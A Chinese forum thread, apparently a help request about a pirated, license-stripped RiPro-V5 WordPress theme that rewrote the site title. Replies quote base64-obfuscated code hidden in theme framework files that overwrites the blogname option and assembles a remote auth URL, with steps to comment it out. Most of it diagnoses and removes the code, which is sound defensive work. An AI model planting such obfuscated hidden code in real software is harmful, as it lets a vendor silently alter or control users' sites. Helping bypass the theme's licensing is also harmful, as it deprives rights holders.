求助riprov5主题修改网站标题小尾巴的办法
有一个测试站使用的是本站RiPro-V5主题最新免授权版(修复掉授权问题)有一天网站标题(表wp_options里的blogname字段)被修改为:ripro-v5请使用正版授权-盗版主题后果自负-授权购买官网
据说ripro有篡改标题的后门,有没有大佬能研究一下。
吾爱破解论坛曾有用户讨论过 RiPro 主题 4.8 版本中存在的后门问题
https://www.52pojie.cn/thread-1074873-1-1.html
放出来只是提供学习。我看了下functions.php代码里有个_cao_set_auth
里头的_cao_get_random 生成随机字符串,结合 $id 和 $key,动态生成数据存入数据库或文件。但未发现直接更新 blogname 字段的操作,但有可能通过隐式调用(例如依赖其他函数)修改。如果未发现问题,可以通过在可疑文件中增加日志记录的方式追踪问题。
在 functions.php 添加如下代码:
add_action('init', function () {
$blogname = get_option('blogname');
error_log('Current blogname: ' . $blogname);
});
然后再搜索是否有相关的 get_option 使用:某些函数可能通过读取选项来修改 blogname。 functions.php代码里有个_cao_set_auth
里头的_cao_get_random 生成随机字符串,结合 $id 和 $key,动态生成数据存入数据库
这里应该是生成注册码破解的代码。
在早期的ripro主题的时候,有人经过分析,在 \ripro\inc\codestar-framework\classes\ 目录下,有两个文件 options.class.php 和 metabox.class.php ,这里面就暗藏恶心人的小尾巴。
options.class.php 修改方法:
注释掉如下部分:
public function saves_defaults() {
$tmp_options = $this->add_option_html();
// if (empty($tmp_options) && $tmp_options['status']==1) {
return true;
// }else{
// $onload = base64_decode('UmlQcm8=');
// $field = base64_decode('YmxvZ25hbWU=');
// update_option($field,$onload);
// }
return false;
$tmp_options = $this->options;
foreach( $this->pre_fields as $field ) {
if( ! empty( $field['id'] ) ) {
$this->options[$field['id']] = $this->get_default( $field, $this->options );
}
}
if( $this->args['save_defaults'] && empty( $tmp_options ) ) {
$this->save_options( $this->options );
}
}
metabox.class.php修改方法:
注释掉如下部分:
public function get_meta_values() {
$value = false;
$field = 'https://vip.ylit.cc/wp-cont';
if( true) {
if( $this->args['data_type'] !== 'serialize' ) {
$meta= get_post_meta( $post->ID, $field['id'] );
$value = ( isset( $meta ) ) ? $meta : null;
} else {
$meta= get_post_meta( $post->ID, $this->unique, true );
$value = ( isset( $meta[$field['id']] ) ) ? $meta[$field['id']] : null;
}
$default = $this->get_default( $field );
$value = ( isset( $value ) ) ? $value : $default;
// }else{
// if( empty( $field ) ) {
// $screen = get_current_screen();
// foreach( $this->args['contextual_help'] as $tab ) {
// $screen->add_help_tab( $tab );
// }
// if( ! empty( $this->args['contextual_help_sidebar'] ) ) {
// $screen->set_help_sidebar( $this->args['contextual_help_sidebar'] );
// }
// }else{
// $meta = 'ZW50L3BsdWdpbnMvcmlwcm8tYXV0aC9hcGkvdjEucGhw=';
// $default = $field.$meta;
// $value = base64_decode($default);
// }
}
return $value;
}
新的riprov5已经修改了文件,今天检索了一下发现很多网站都已经中招
https://www.qpic.ws/images/2024/11/20/EpdJOB.png
我先加上日志记录的方式,坐等上钩!
今天用D盾扫描发现一个文件提示生成脚本后门,我看半天没看出问题在哪
https://www.qpic.ws/images/2024/11/22/bB06F3.png 写了一个插件可以监控和记录数据库表wp_options里字段blogname的所有UPDATE操作,有需要的自行下载
页:
[1]